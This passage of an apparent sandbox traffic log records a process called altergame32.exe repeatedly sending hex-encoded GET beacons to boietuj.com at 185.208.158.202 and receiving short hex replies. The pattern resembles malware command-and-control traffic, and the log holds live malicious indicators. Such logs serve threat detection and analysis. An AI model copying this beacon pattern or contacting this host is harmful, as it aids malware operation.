Nov 20, 2024 05:03:34.435309887 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:35.150048018 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49974	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:35.335510969 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:36.033191919 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49980	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:36.276232958 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:36.988056898 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:37.106259108 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:37.359772921 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:37.472235918 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:37.716728926 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49991	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:37.837161064 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:38.564037085 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:38.675477982 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:38.925234079 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49999	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:39.288073063 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:39.993458986 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50004	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:40.132663012 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:40.836936951 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50011	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:40.962019920 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:41.685043097 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50017	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:41.807394028 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:42.515575886 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50023	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:42.636518955 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:43.344048023 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50028	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:43.465081930 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:44.181684017 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50029	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:44.306833029 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:45.014478922 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50030	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:45.134144068 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:45.841032982 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50031	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:45.962088108 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:46.665491104 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50032	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:46.790327072 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:47.498078108 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50033	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:47.620803118 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:48.354685068 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50034	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:48.479300976 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:49.183340073 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50035	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:49.305936098 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:50.006700039 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50036	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:50.135117054 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:50.849473000 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:50.956752062 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:51.338821888 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50037	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:51.462987900 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:52.189471960 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:52.300765038 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:52.550549030 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:52.660830021 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:52.911196947 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:53.019896030 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:53.274570942 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50038	185.208.158.202	80	2488	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 05:03:53.399975061 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:54.114866972 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 20, 2024 05:03:54.222429991 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:03:54.469738960 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:03:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
